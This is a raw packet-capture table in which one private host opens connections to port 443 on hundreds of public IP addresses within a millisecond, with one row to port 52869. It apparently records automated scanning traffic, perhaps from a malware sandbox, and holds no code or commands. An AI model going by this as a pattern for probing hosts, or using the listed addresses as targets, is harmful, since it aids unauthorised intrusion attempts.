Mar 21, 2024 05:25:10.941451073 CET	12232	443	192.168.2.23	210.234.239.84
Mar 21, 2024 05:25:10.941452980 CET	12232	443	192.168.2.23	178.117.123.181
Mar 21, 2024 05:25:10.941462040 CET	443	12232	2.10.196.133	192.168.2.23
Mar 21, 2024 05:25:10.941467047 CET	12232	443	192.168.2.23	37.222.216.7
Mar 21, 2024 05:25:10.941468954 CET	12232	443	192.168.2.23	42.142.58.32
Mar 21, 2024 05:25:10.941468954 CET	12232	443	192.168.2.23	2.183.47.129
Mar 21, 2024 05:25:10.941476107 CET	12232	443	192.168.2.23	37.124.33.191
Mar 21, 2024 05:25:10.941479921 CET	443	12232	2.183.47.129	192.168.2.23
Mar 21, 2024 05:25:10.941482067 CET	12232	443	192.168.2.23	2.233.217.149
Mar 21, 2024 05:25:10.941487074 CET	443	12232	2.233.217.149	192.168.2.23
Mar 21, 2024 05:25:10.941488028 CET	12232	443	192.168.2.23	94.63.8.18
Mar 21, 2024 05:25:10.941498041 CET	443	12232	94.63.8.18	192.168.2.23
Mar 21, 2024 05:25:10.941498041 CET	12232	443	192.168.2.23	210.218.183.32
Mar 21, 2024 05:25:10.941504955 CET	443	12232	210.218.183.32	192.168.2.23
Mar 21, 2024 05:25:10.941509008 CET	12232	443	192.168.2.23	2.10.196.133
Mar 21, 2024 05:25:10.941509008 CET	12232	443	192.168.2.23	178.171.117.174
Mar 21, 2024 05:25:10.941509008 CET	12232	443	192.168.2.23	79.148.174.185
Mar 21, 2024 05:25:10.941509962 CET	12232	443	192.168.2.23	37.49.166.197
Mar 21, 2024 05:25:10.941514015 CET	12232	443	192.168.2.23	79.215.144.12
Mar 21, 2024 05:25:10.941514015 CET	12232	443	192.168.2.23	212.88.132.238
Mar 21, 2024 05:25:10.941514969 CET	12232	443	192.168.2.23	118.95.44.90
Mar 21, 2024 05:25:10.941515923 CET	12232	443	192.168.2.23	2.233.217.149
Mar 21, 2024 05:25:10.941514015 CET	12232	443	192.168.2.23	210.93.182.90
Mar 21, 2024 05:25:10.941514015 CET	12232	443	192.168.2.23	2.183.47.129
Mar 21, 2024 05:25:10.941519022 CET	443	12232	37.49.166.197	192.168.2.23
Mar 21, 2024 05:25:10.941519976 CET	443	12232	178.171.117.174	192.168.2.23
Mar 21, 2024 05:25:10.941520929 CET	443	12232	118.95.44.90	192.168.2.23
Mar 21, 2024 05:25:10.941524029 CET	443	12232	79.215.144.12	192.168.2.23
Mar 21, 2024 05:25:10.941533089 CET	443	12232	212.88.132.238	192.168.2.23
Mar 21, 2024 05:25:10.941536903 CET	443	12232	210.93.182.90	192.168.2.23
Mar 21, 2024 05:25:10.941536903 CET	443	12232	79.148.174.185	192.168.2.23
Mar 21, 2024 05:25:10.941545963 CET	12232	443	192.168.2.23	94.0.181.55
Mar 21, 2024 05:25:10.941545963 CET	12232	443	192.168.2.23	210.218.183.32
Mar 21, 2024 05:25:10.941545963 CET	12232	443	192.168.2.23	109.102.181.121
Mar 21, 2024 05:25:10.941545963 CET	12232	443	192.168.2.23	212.73.177.98
Mar 21, 2024 05:25:10.941546917 CET	12232	443	192.168.2.23	94.63.8.18
Mar 21, 2024 05:25:10.941553116 CET	12232	443	192.168.2.23	210.158.218.44
Mar 21, 2024 05:25:10.941553116 CET	443	12232	94.0.181.55	192.168.2.23
Mar 21, 2024 05:25:10.941553116 CET	12232	443	192.168.2.23	37.49.166.197
Mar 21, 2024 05:25:10.941556931 CET	12232	443	192.168.2.23	178.171.117.174
Mar 21, 2024 05:25:10.941561937 CET	12232	443	192.168.2.23	118.95.44.90
Mar 21, 2024 05:25:10.941564083 CET	443	12232	210.158.218.44	192.168.2.23
Mar 21, 2024 05:25:10.941570044 CET	443	12232	109.102.181.121	192.168.2.23
Mar 21, 2024 05:25:10.941571951 CET	12232	443	192.168.2.23	2.44.240.148
Mar 21, 2024 05:25:10.941574097 CET	12232	443	192.168.2.23	79.148.174.185
Mar 21, 2024 05:25:10.941574097 CET	12232	443	192.168.2.23	2.193.47.240
Mar 21, 2024 05:25:10.941577911 CET	443	12232	212.73.177.98	192.168.2.23
Mar 21, 2024 05:25:10.941577911 CET	443	12232	2.44.240.148	192.168.2.23
Mar 21, 2024 05:25:10.941582918 CET	443	12232	2.193.47.240	192.168.2.23
Mar 21, 2024 05:25:10.941589117 CET	12232	443	192.168.2.23	212.88.132.238
Mar 21, 2024 05:25:10.941589117 CET	12232	443	192.168.2.23	79.215.144.12
Mar 21, 2024 05:25:10.941589117 CET	12232	443	192.168.2.23	210.93.182.90
Mar 21, 2024 05:25:10.941590071 CET	12232	443	192.168.2.23	178.79.158.199
Mar 21, 2024 05:25:10.941589117 CET	12232	443	192.168.2.23	94.0.181.55
Mar 21, 2024 05:25:10.941595078 CET	443	12232	178.79.158.199	192.168.2.23
Mar 21, 2024 05:25:10.941595078 CET	12232	443	192.168.2.23	210.158.218.44
Mar 21, 2024 05:25:10.941595078 CET	12232	443	192.168.2.23	42.5.41.156
Mar 21, 2024 05:25:10.941601038 CET	12232	443	192.168.2.23	109.102.181.121
Mar 21, 2024 05:25:10.941601992 CET	443	12232	42.5.41.156	192.168.2.23
Mar 21, 2024 05:25:10.941607952 CET	12232	443	192.168.2.23	2.146.43.120
Mar 21, 2024 05:25:10.941608906 CET	12232	443	192.168.2.23	42.31.126.88
Mar 21, 2024 05:25:10.941612005 CET	12232	443	192.168.2.23	212.73.177.98
Mar 21, 2024 05:25:10.941615105 CET	12232	443	192.168.2.23	2.44.240.148
Mar 21, 2024 05:25:10.941616058 CET	443	12232	42.31.126.88	192.168.2.23
Mar 21, 2024 05:25:10.941616058 CET	12232	443	192.168.2.23	118.36.183.230
Mar 21, 2024 05:25:10.941617012 CET	443	12232	2.146.43.120	192.168.2.23
Mar 21, 2024 05:25:10.941616058 CET	12232	443	192.168.2.23	2.193.47.240
Mar 21, 2024 05:25:10.941622972 CET	443	12232	118.36.183.230	192.168.2.23
Mar 21, 2024 05:25:10.941627026 CET	12232	443	192.168.2.23	178.79.158.199
Mar 21, 2024 05:25:10.941631079 CET	12232	443	192.168.2.23	37.157.82.176
Mar 21, 2024 05:25:10.941639900 CET	12232	443	192.168.2.23	42.5.41.156
Mar 21, 2024 05:25:10.941641092 CET	443	12232	37.157.82.176	192.168.2.23
Mar 21, 2024 05:25:10.941646099 CET	12232	443	192.168.2.23	42.31.126.88
Mar 21, 2024 05:25:10.941652060 CET	12232	443	192.168.2.23	118.36.183.230
Mar 21, 2024 05:25:10.941652060 CET	12232	443	192.168.2.23	2.146.43.120
Mar 21, 2024 05:25:10.941663027 CET	12232	443	192.168.2.23	2.107.57.111
Mar 21, 2024 05:25:10.941667080 CET	12232	443	192.168.2.23	94.192.166.121
Mar 21, 2024 05:25:10.941667080 CET	12232	443	192.168.2.23	42.254.244.113
Mar 21, 2024 05:25:10.941667080 CET	12232	443	192.168.2.23	2.233.252.182
Mar 21, 2024 05:25:10.941672087 CET	443	12232	2.107.57.111	192.168.2.23
Mar 21, 2024 05:25:10.941673994 CET	12232	443	192.168.2.23	5.94.17.153
Mar 21, 2024 05:25:10.941674948 CET	443	12232	94.192.166.121	192.168.2.23
Mar 21, 2024 05:25:10.941673994 CET	12232	443	192.168.2.23	109.127.232.62
Mar 21, 2024 05:25:10.941673994 CET	12232	443	192.168.2.23	37.144.26.175
Mar 21, 2024 05:25:10.941673994 CET	12232	443	192.168.2.23	37.157.82.176
Mar 21, 2024 05:25:10.941679955 CET	12232	443	192.168.2.23	5.69.118.254
Mar 21, 2024 05:25:10.941684008 CET	443	12232	5.94.17.153	192.168.2.23
Mar 21, 2024 05:25:10.941688061 CET	443	12232	2.233.252.182	192.168.2.23
Mar 21, 2024 05:25:10.941689968 CET	443	12232	42.254.244.113	192.168.2.23
Mar 21, 2024 05:25:10.941694021 CET	443	12232	109.127.232.62	192.168.2.23
Mar 21, 2024 05:25:10.941694975 CET	443	12232	5.69.118.254	192.168.2.23
Mar 21, 2024 05:25:10.941699028 CET	12232	443	192.168.2.23	94.89.169.229
Mar 21, 2024 05:25:10.941699982 CET	12232	443	192.168.2.23	42.41.8.33
Mar 21, 2024 05:25:10.941699982 CET	12232	443	192.168.2.23	2.110.167.81
Mar 21, 2024 05:25:10.941699982 CET	12232	443	192.168.2.23	178.81.164.121
Mar 21, 2024 05:25:10.941701889 CET	443	12232	37.144.26.175	192.168.2.23
Mar 21, 2024 05:25:10.941704988 CET	443	12232	94.89.169.229	192.168.2.23
Mar 21, 2024 05:25:10.941706896 CET	12232	443	192.168.2.23	2.107.57.111
Mar 21, 2024 05:25:10.941706896 CET	12232	443	192.168.2.23	212.27.19.113
Mar 21, 2024 05:25:10.941708088 CET	443	12232	42.41.8.33	192.168.2.23
Mar 21, 2024 05:25:10.941710949 CET	443	12232	2.110.167.81	192.168.2.23
Mar 21, 2024 05:25:10.941714048 CET	12232	443	192.168.2.23	5.94.17.153
Mar 21, 2024 05:25:10.941714048 CET	12232	443	192.168.2.23	178.68.139.199
Mar 21, 2024 05:25:10.941714048 CET	12232	443	192.168.2.23	109.127.232.62
Mar 21, 2024 05:25:10.941715002 CET	12232	443	192.168.2.23	212.168.108.211
Mar 21, 2024 05:25:10.941715956 CET	443	12232	178.81.164.121	192.168.2.23
Mar 21, 2024 05:25:10.941715956 CET	443	12232	212.27.19.113	192.168.2.23
Mar 21, 2024 05:25:10.941719055 CET	12232	443	192.168.2.23	118.170.95.11
Mar 21, 2024 05:25:10.941720963 CET	443	12232	212.168.108.211	192.168.2.23
Mar 21, 2024 05:25:10.941721916 CET	443	12232	178.68.139.199	192.168.2.23
Mar 21, 2024 05:25:10.941725969 CET	12232	443	192.168.2.23	5.69.118.254
Mar 21, 2024 05:25:10.941730976 CET	12232	443	192.168.2.23	37.144.26.175
Mar 21, 2024 05:25:10.941731930 CET	443	12232	118.170.95.11	192.168.2.23
Mar 21, 2024 05:25:10.941730022 CET	12232	443	192.168.2.23	2.51.208.169
Mar 21, 2024 05:25:10.941730022 CET	12232	443	192.168.2.23	94.192.166.121
Mar 21, 2024 05:25:10.941732883 CET	12232	443	192.168.2.23	42.254.244.113
Mar 21, 2024 05:25:10.941732883 CET	12232	443	192.168.2.23	2.233.252.182
Mar 21, 2024 05:25:10.941732883 CET	12232	443	192.168.2.23	42.41.8.33
Mar 21, 2024 05:25:10.941740036 CET	12232	443	192.168.2.23	94.89.169.229
Mar 21, 2024 05:25:10.941740990 CET	443	12232	2.51.208.169	192.168.2.23
Mar 21, 2024 05:25:10.941741943 CET	12232	443	192.168.2.23	212.168.108.211
Mar 21, 2024 05:25:10.941746950 CET	12232	443	192.168.2.23	212.27.19.113
Mar 21, 2024 05:25:10.941746950 CET	12232	443	192.168.2.23	2.110.167.81
Mar 21, 2024 05:25:10.941752911 CET	12232	443	192.168.2.23	178.81.164.121
Mar 21, 2024 05:25:10.941762924 CET	12232	443	192.168.2.23	37.114.53.217
Mar 21, 2024 05:25:10.941766977 CET	12232	443	192.168.2.23	178.68.139.199
Mar 21, 2024 05:25:10.941766977 CET	12232	443	192.168.2.23	210.252.29.242
Mar 21, 2024 05:25:10.941766977 CET	12232	443	192.168.2.23	2.137.94.216
Mar 21, 2024 05:25:10.941767931 CET	443	12232	37.114.53.217	192.168.2.23
Mar 21, 2024 05:25:10.941771984 CET	12232	443	192.168.2.23	94.62.236.190
Mar 21, 2024 05:25:10.941776037 CET	443	12232	210.252.29.242	192.168.2.23
Mar 21, 2024 05:25:10.941776991 CET	443	12232	2.137.94.216	192.168.2.23
Mar 21, 2024 05:25:10.941777945 CET	12232	443	192.168.2.23	118.170.95.11
Mar 21, 2024 05:25:10.941778898 CET	443	12232	94.62.236.190	192.168.2.23
Mar 21, 2024 05:25:10.941778898 CET	12232	443	192.168.2.23	109.203.240.130
Mar 21, 2024 05:25:10.941783905 CET	443	12232	109.203.240.130	192.168.2.23
Mar 21, 2024 05:25:10.941785097 CET	12232	443	192.168.2.23	2.51.208.169
Mar 21, 2024 05:25:10.941785097 CET	12232	443	192.168.2.23	42.183.119.79
Mar 21, 2024 05:25:10.941785097 CET	12232	443	192.168.2.23	210.194.116.121
Mar 21, 2024 05:25:10.941785097 CET	12232	443	192.168.2.23	109.22.190.221
Mar 21, 2024 05:25:10.941790104 CET	12232	443	192.168.2.23	5.159.52.133
Mar 21, 2024 05:25:10.941792011 CET	443	12232	210.194.116.121	192.168.2.23
Mar 21, 2024 05:25:10.941792011 CET	443	12232	42.183.119.79	192.168.2.23
Mar 21, 2024 05:25:10.941792011 CET	12232	443	192.168.2.23	79.101.219.149
Mar 21, 2024 05:25:10.941792011 CET	12232	443	192.168.2.23	94.251.84.219
Mar 21, 2024 05:25:10.941792011 CET	12232	443	192.168.2.23	109.147.57.183
Mar 21, 2024 05:25:10.941792011 CET	12232	443	192.168.2.23	94.88.48.94
Mar 21, 2024 05:25:10.941792011 CET	12232	443	192.168.2.23	212.133.60.101
Mar 21, 2024 05:25:10.941796064 CET	12232	443	192.168.2.23	94.209.185.26
Mar 21, 2024 05:25:10.941797018 CET	443	12232	109.22.190.221	192.168.2.23
Mar 21, 2024 05:25:10.941798925 CET	443	12232	5.159.52.133	192.168.2.23
Mar 21, 2024 05:25:10.941802025 CET	443	12232	94.209.185.26	192.168.2.23
Mar 21, 2024 05:25:10.941806078 CET	12232	443	192.168.2.23	37.114.53.217
Mar 21, 2024 05:25:10.941807985 CET	443	12232	79.101.219.149	192.168.2.23
Mar 21, 2024 05:25:10.941811085 CET	12232	443	192.168.2.23	210.252.29.242
Mar 21, 2024 05:25:10.941811085 CET	12232	443	192.168.2.23	109.203.240.130
Mar 21, 2024 05:25:10.941812992 CET	12232	443	192.168.2.23	94.62.236.190
Mar 21, 2024 05:25:10.941813946 CET	12232	443	192.168.2.23	210.194.116.121
Mar 21, 2024 05:25:10.941814899 CET	443	12232	94.251.84.219	192.168.2.23
Mar 21, 2024 05:25:10.941812038 CET	12232	443	192.168.2.23	109.216.195.165
Mar 21, 2024 05:25:10.941821098 CET	12232	443	192.168.2.23	2.137.94.216
Mar 21, 2024 05:25:10.941821098 CET	12232	443	192.168.2.23	109.22.190.221
Mar 21, 2024 05:25:10.941822052 CET	12232	443	192.168.2.23	42.183.119.79
Mar 21, 2024 05:25:10.941823006 CET	443	12232	109.147.57.183	192.168.2.23
Mar 21, 2024 05:25:10.941821098 CET	12232	443	192.168.2.23	5.159.52.133
Mar 21, 2024 05:25:10.941826105 CET	443	12232	109.216.195.165	192.168.2.23
Mar 21, 2024 05:25:10.941833973 CET	443	12232	94.88.48.94	192.168.2.23
Mar 21, 2024 05:25:10.941838980 CET	12232	443	192.168.2.23	94.209.185.26
Mar 21, 2024 05:25:10.941840887 CET	443	12232	212.133.60.101	192.168.2.23
Mar 21, 2024 05:25:10.941848993 CET	12232	443	192.168.2.23	79.101.219.149
Mar 21, 2024 05:25:10.941848993 CET	12232	443	192.168.2.23	94.251.84.219
Mar 21, 2024 05:25:10.941848993 CET	12232	443	192.168.2.23	109.147.57.183
Mar 21, 2024 05:25:10.941850901 CET	12232	443	192.168.2.23	210.151.82.22
Mar 21, 2024 05:25:10.941854000 CET	12232	443	192.168.2.23	94.72.194.38
Mar 21, 2024 05:25:10.941855907 CET	443	12232	210.151.82.22	192.168.2.23
Mar 21, 2024 05:25:10.941858053 CET	443	12232	94.72.194.38	192.168.2.23
Mar 21, 2024 05:25:10.941859961 CET	12232	443	192.168.2.23	94.88.48.94
Mar 21, 2024 05:25:10.941862106 CET	12232	443	192.168.2.23	109.216.195.165
Mar 21, 2024 05:25:10.941864967 CET	12232	443	192.168.2.23	2.131.152.248
Mar 21, 2024 05:25:10.941868067 CET	12232	443	192.168.2.23	210.11.94.143
Mar 21, 2024 05:25:10.941870928 CET	443	12232	2.131.152.248	192.168.2.23
Mar 21, 2024 05:25:10.941880941 CET	12232	443	192.168.2.23	212.133.60.101
Mar 21, 2024 05:25:10.941880941 CET	12232	443	192.168.2.23	94.72.194.38
Mar 21, 2024 05:25:10.941883087 CET	443	12232	210.11.94.143	192.168.2.23
Mar 21, 2024 05:25:10.941884041 CET	12232	443	192.168.2.23	210.151.82.22
Mar 21, 2024 05:25:10.941890001 CET	12232	443	192.168.2.23	2.131.152.248
Mar 21, 2024 05:25:10.941907883 CET	12232	443	192.168.2.23	210.11.94.143
Mar 21, 2024 05:25:10.941910028 CET	12232	443	192.168.2.23	5.197.225.91
Mar 21, 2024 05:25:10.941917896 CET	443	12232	5.197.225.91	192.168.2.23
Mar 21, 2024 05:25:10.941926003 CET	12232	443	192.168.2.23	42.213.60.252
Mar 21, 2024 05:25:10.941931009 CET	443	12232	42.213.60.252	192.168.2.23
Mar 21, 2024 05:25:10.941931009 CET	12232	443	192.168.2.23	37.35.5.58
Mar 21, 2024 05:25:10.941931963 CET	12232	443	192.168.2.23	94.220.66.133
Mar 21, 2024 05:25:10.941935062 CET	12232	443	192.168.2.23	109.113.231.29
Mar 21, 2024 05:25:10.941937923 CET	443	12232	94.220.66.133	192.168.2.23
Mar 21, 2024 05:25:10.941937923 CET	12232	443	192.168.2.23	42.88.76.104
Mar 21, 2024 05:25:10.941941977 CET	443	12232	37.35.5.58	192.168.2.23
Mar 21, 2024 05:25:10.941942930 CET	12232	443	192.168.2.23	210.196.247.13
Mar 21, 2024 05:25:10.941945076 CET	443	12232	42.88.76.104	192.168.2.23
Mar 21, 2024 05:25:10.941946030 CET	443	12232	109.113.231.29	192.168.2.23
Mar 21, 2024 05:25:10.941950083 CET	12232	443	192.168.2.23	178.41.239.56
Mar 21, 2024 05:25:10.941951036 CET	12232	443	192.168.2.23	94.2.50.65
Mar 21, 2024 05:25:10.941951036 CET	12232	443	192.168.2.23	178.108.122.53
Mar 21, 2024 05:25:10.941951036 CET	12232	443	192.168.2.23	42.90.107.57
Mar 21, 2024 05:25:10.941953897 CET	443	12232	210.196.247.13	192.168.2.23
Mar 21, 2024 05:25:10.941953897 CET	443	12232	178.41.239.56	192.168.2.23
Mar 21, 2024 05:25:10.941960096 CET	12232	443	192.168.2.23	94.4.230.157
Mar 21, 2024 05:25:10.941966057 CET	443	12232	94.4.230.157	192.168.2.23
Mar 21, 2024 05:25:10.941967010 CET	12232	443	192.168.2.23	210.97.12.167
Mar 21, 2024 05:25:10.941967010 CET	12232	443	192.168.2.23	5.197.225.91
Mar 21, 2024 05:25:10.941970110 CET	443	12232	94.2.50.65	192.168.2.23
Mar 21, 2024 05:25:10.941972017 CET	443	12232	178.108.122.53	192.168.2.23
Mar 21, 2024 05:25:10.941972971 CET	12232	443	192.168.2.23	42.88.76.104
Mar 21, 2024 05:25:10.941975117 CET	443	12232	210.97.12.167	192.168.2.23
Mar 21, 2024 05:25:10.941976070 CET	12232	443	192.168.2.23	212.218.84.4
Mar 21, 2024 05:25:10.941976070 CET	12232	443	192.168.2.23	42.213.60.252
Mar 21, 2024 05:25:10.941977978 CET	12232	443	192.168.2.23	109.113.231.29
Mar 21, 2024 05:25:10.941978931 CET	12232	443	192.168.2.23	94.220.66.133
Mar 21, 2024 05:25:10.941982031 CET	443	12232	212.218.84.4	192.168.2.23
Mar 21, 2024 05:25:10.941984892 CET	12232	443	192.168.2.23	178.41.239.56
Mar 21, 2024 05:25:10.941987038 CET	12232	443	192.168.2.23	37.35.5.58
Mar 21, 2024 05:25:10.941987038 CET	443	12232	42.90.107.57	192.168.2.23
Mar 21, 2024 05:25:10.941984892 CET	12232	443	192.168.2.23	79.71.106.97
Mar 21, 2024 05:25:10.941993952 CET	443	12232	79.71.106.97	192.168.2.23
Mar 21, 2024 05:25:10.941993952 CET	12232	443	192.168.2.23	94.2.50.65
Mar 21, 2024 05:25:10.941994905 CET	12232	443	192.168.2.23	210.196.247.13
Mar 21, 2024 05:25:10.941998959 CET	12232	443	192.168.2.23	94.4.230.157
Mar 21, 2024 05:25:10.942008972 CET	12232	443	192.168.2.23	212.218.84.4
Mar 21, 2024 05:25:10.942008972 CET	12232	443	192.168.2.23	210.97.12.167
Mar 21, 2024 05:25:10.942012072 CET	12232	443	192.168.2.23	178.108.122.53
Mar 21, 2024 05:25:10.942012072 CET	12232	443	192.168.2.23	42.90.107.57
Mar 21, 2024 05:25:10.942011118 CET	12232	443	192.168.2.23	118.179.198.144
Mar 21, 2024 05:25:10.942011118 CET	12232	443	192.168.2.23	212.210.130.86
Mar 21, 2024 05:25:10.942018986 CET	443	12232	118.179.198.144	192.168.2.23
Mar 21, 2024 05:25:10.942027092 CET	443	12232	212.210.130.86	192.168.2.23
Mar 21, 2024 05:25:10.942032099 CET	12232	443	192.168.2.23	94.49.101.242
Mar 21, 2024 05:25:10.942034960 CET	12232	443	192.168.2.23	79.71.106.97
Mar 21, 2024 05:25:10.942034960 CET	12232	443	192.168.2.23	94.254.82.73
Mar 21, 2024 05:25:10.942035913 CET	12232	443	192.168.2.23	178.145.238.175
Mar 21, 2024 05:25:10.942035913 CET	12232	443	192.168.2.23	42.90.240.194
Mar 21, 2024 05:25:10.942040920 CET	443	12232	178.145.238.175	192.168.2.23
Mar 21, 2024 05:25:10.942042112 CET	12232	443	192.168.2.23	118.209.57.77
Mar 21, 2024 05:25:10.942042112 CET	443	12232	94.49.101.242	192.168.2.23
Mar 21, 2024 05:25:10.942043066 CET	12232	443	192.168.2.23	5.243.93.189
Mar 21, 2024 05:25:10.942044020 CET	443	12232	94.254.82.73	192.168.2.23
Mar 21, 2024 05:25:10.942045927 CET	12232	443	192.168.2.23	94.163.253.118
Mar 21, 2024 05:25:10.942049026 CET	12232	443	192.168.2.23	79.98.0.41
Mar 21, 2024 05:25:10.942049980 CET	443	12232	118.209.57.77	192.168.2.23
Mar 21, 2024 05:25:10.942050934 CET	443	12232	94.163.253.118	192.168.2.23
Mar 21, 2024 05:25:10.942051888 CET	12232	443	192.168.2.23	37.235.85.65
Mar 21, 2024 05:25:10.942054987 CET	12232	443	192.168.2.23	212.20.110.107
Mar 21, 2024 05:25:10.942054987 CET	443	12232	79.98.0.41	192.168.2.23
Mar 21, 2024 05:25:10.942054987 CET	443	12232	5.243.93.189	192.168.2.23
Mar 21, 2024 05:25:10.942055941 CET	443	12232	42.90.240.194	192.168.2.23
Mar 21, 2024 05:25:10.942056894 CET	443	12232	37.235.85.65	192.168.2.23
Mar 21, 2024 05:25:10.942059040 CET	12232	443	192.168.2.23	109.13.158.116
Mar 21, 2024 05:25:10.942060947 CET	443	12232	212.20.110.107	192.168.2.23
Mar 21, 2024 05:25:10.942061901 CET	12232	443	192.168.2.23	42.232.100.243
Mar 21, 2024 05:25:10.942061901 CET	12232	443	192.168.2.23	118.194.112.5
Mar 21, 2024 05:25:10.942065001 CET	443	12232	109.13.158.116	192.168.2.23
Mar 21, 2024 05:25:10.942066908 CET	12232	443	192.168.2.23	212.210.130.86
Mar 21, 2024 05:25:10.942066908 CET	12232	443	192.168.2.23	118.179.198.144
Mar 21, 2024 05:25:10.942069054 CET	443	12232	42.232.100.243	192.168.2.23
Mar 21, 2024 05:25:10.942070961 CET	12232	443	192.168.2.23	37.151.186.70
Mar 21, 2024 05:25:10.942070961 CET	443	12232	118.194.112.5	192.168.2.23
Mar 21, 2024 05:25:10.942070961 CET	12232	443	192.168.2.23	212.150.152.79
Mar 21, 2024 05:25:10.942075014 CET	12232	443	192.168.2.23	178.145.238.175
Mar 21, 2024 05:25:10.942075968 CET	12232	443	192.168.2.23	94.254.82.73
Mar 21, 2024 05:25:10.942076921 CET	443	12232	37.151.186.70	192.168.2.23
Mar 21, 2024 05:25:10.942076921 CET	12232	443	192.168.2.23	94.49.101.242
Mar 21, 2024 05:25:10.942079067 CET	443	12232	212.150.152.79	192.168.2.23
Mar 21, 2024 05:25:10.942080975 CET	12232	443	192.168.2.23	5.97.15.33
Mar 21, 2024 05:25:10.942080975 CET	12232	443	192.168.2.23	79.98.0.41
Mar 21, 2024 05:25:10.942084074 CET	12232	443	192.168.2.23	42.90.240.194
Mar 21, 2024 05:25:10.942090034 CET	443	12232	5.97.15.33	192.168.2.23
Mar 21, 2024 05:25:10.942091942 CET	12232	443	192.168.2.23	5.243.93.189
Mar 21, 2024 05:25:10.942096949 CET	12232	443	192.168.2.23	37.235.85.65
Mar 21, 2024 05:25:10.942097902 CET	12232	443	192.168.2.23	118.209.57.77
Mar 21, 2024 05:25:10.942101002 CET	12232	443	192.168.2.23	42.232.100.243
Mar 21, 2024 05:25:10.942101002 CET	12232	443	192.168.2.23	94.163.253.118
Mar 21, 2024 05:25:10.942101002 CET	12232	443	192.168.2.23	118.194.112.5
Mar 21, 2024 05:25:10.942101955 CET	12232	443	192.168.2.23	37.176.241.181
Mar 21, 2024 05:25:10.942104101 CET	12232	443	192.168.2.23	212.20.110.107
Mar 21, 2024 05:25:10.942109108 CET	443	12232	37.176.241.181	192.168.2.23
Mar 21, 2024 05:25:10.942116022 CET	12232	443	192.168.2.23	109.13.158.116
Mar 21, 2024 05:25:10.942117929 CET	12232	443	192.168.2.23	212.201.210.34
Mar 21, 2024 05:25:10.942117929 CET	12232	443	192.168.2.23	5.149.226.132
Mar 21, 2024 05:25:10.942117929 CET	12232	443	192.168.2.23	37.151.186.70
Mar 21, 2024 05:25:10.942120075 CET	12232	443	192.168.2.23	37.159.168.169
Mar 21, 2024 05:25:10.942120075 CET	12232	443	192.168.2.23	212.150.152.79
Mar 21, 2024 05:25:10.942125082 CET	12232	443	192.168.2.23	5.97.15.33
Mar 21, 2024 05:25:10.942126989 CET	443	12232	37.159.168.169	192.168.2.23
Mar 21, 2024 05:25:10.942127943 CET	443	12232	212.201.210.34	192.168.2.23
Mar 21, 2024 05:25:10.942131996 CET	12232	443	192.168.2.23	118.197.239.137
Mar 21, 2024 05:25:10.942131996 CET	12232	443	192.168.2.23	118.220.33.252
Mar 21, 2024 05:25:10.942131996 CET	12232	443	192.168.2.23	109.90.230.115
Mar 21, 2024 05:25:10.942136049 CET	443	12232	5.149.226.132	192.168.2.23
Mar 21, 2024 05:25:10.942142010 CET	12232	443	192.168.2.23	5.150.106.39
Mar 21, 2024 05:25:10.942142010 CET	12232	443	192.168.2.23	37.176.241.181
Mar 21, 2024 05:25:10.942146063 CET	12232	443	192.168.2.23	79.236.167.44
Mar 21, 2024 05:25:10.942147970 CET	443	12232	5.150.106.39	192.168.2.23
Mar 21, 2024 05:25:10.942147970 CET	443	12232	118.197.239.137	192.168.2.23
Mar 21, 2024 05:25:10.942151070 CET	12232	443	192.168.2.23	37.221.122.66
Mar 21, 2024 05:25:10.942152023 CET	443	12232	79.236.167.44	192.168.2.23
Mar 21, 2024 05:25:10.942157030 CET	443	12232	37.221.122.66	192.168.2.23
Mar 21, 2024 05:25:10.942159891 CET	443	12232	118.220.33.252	192.168.2.23
Mar 21, 2024 05:25:10.942159891 CET	12232	443	192.168.2.23	94.183.81.121
Mar 21, 2024 05:25:10.942159891 CET	12232	443	192.168.2.23	37.159.168.169
Mar 21, 2024 05:25:10.942161083 CET	12232	443	192.168.2.23	212.201.210.34
Mar 21, 2024 05:25:10.942161083 CET	12232	443	192.168.2.23	5.149.226.132
Mar 21, 2024 05:25:10.942166090 CET	443	12232	94.183.81.121	192.168.2.23
Mar 21, 2024 05:25:10.942167997 CET	443	12232	109.90.230.115	192.168.2.23
Mar 21, 2024 05:25:10.942172050 CET	12232	443	192.168.2.23	42.89.237.139
Mar 21, 2024 05:25:10.942177057 CET	443	12232	42.89.237.139	192.168.2.23
Mar 21, 2024 05:25:10.942178965 CET	12232	443	192.168.2.23	118.197.239.137
Mar 21, 2024 05:25:10.942182064 CET	12232	443	192.168.2.23	79.236.167.44
Mar 21, 2024 05:25:10.942182064 CET	12232	443	192.168.2.23	5.150.106.39
Mar 21, 2024 05:25:10.942183018 CET	12232	443	192.168.2.23	118.76.133.27
Mar 21, 2024 05:25:10.942183018 CET	12232	443	192.168.2.23	42.29.29.176
Mar 21, 2024 05:25:10.942187071 CET	12232	443	192.168.2.23	42.221.204.5
Mar 21, 2024 05:25:10.942187071 CET	12232	443	192.168.2.23	37.221.122.66
Mar 21, 2024 05:25:10.942188978 CET	12232	443	192.168.2.23	118.220.33.252
Mar 21, 2024 05:25:10.942190886 CET	443	12232	42.29.29.176	192.168.2.23
Mar 21, 2024 05:25:10.942190886 CET	443	12232	118.76.133.27	192.168.2.23
Mar 21, 2024 05:25:10.942193031 CET	12232	443	192.168.2.23	118.93.93.68
Mar 21, 2024 05:25:10.942195892 CET	443	12232	42.221.204.5	192.168.2.23
Mar 21, 2024 05:25:10.942195892 CET	12232	443	192.168.2.23	109.90.230.115
Mar 21, 2024 05:25:10.942197084 CET	12232	443	192.168.2.23	94.183.81.121
Mar 21, 2024 05:25:10.942198038 CET	443	12232	118.93.93.68	192.168.2.23
Mar 21, 2024 05:25:10.942214012 CET	12232	443	192.168.2.23	42.89.237.139
Mar 21, 2024 05:25:10.942214012 CET	12232	443	192.168.2.23	94.96.214.250
Mar 21, 2024 05:25:10.942219019 CET	12232	443	192.168.2.23	178.233.164.146
Mar 21, 2024 05:25:10.942220926 CET	443	12232	94.96.214.250	192.168.2.23
Mar 21, 2024 05:25:10.942225933 CET	12232	443	192.168.2.23	118.93.93.68
Mar 21, 2024 05:25:10.942225933 CET	443	12232	178.233.164.146	192.168.2.23
Mar 21, 2024 05:25:10.942230940 CET	12232	443	192.168.2.23	42.221.204.5
Mar 21, 2024 05:25:10.942233086 CET	4296	52869	192.168.2.23	72.54.78.182
Mar 21, 2024 05:25:10.942233086 CET	12232	443	192.168.2.23	42.29.29.176
Mar 21, 2024 05:25:10.942234039 CET	12232	443	192.168.2.23	118.76.133.27
Mar 21, 2024 05:25:10.942246914 CET	12232	443	192.168.2.23	210.248.156.152
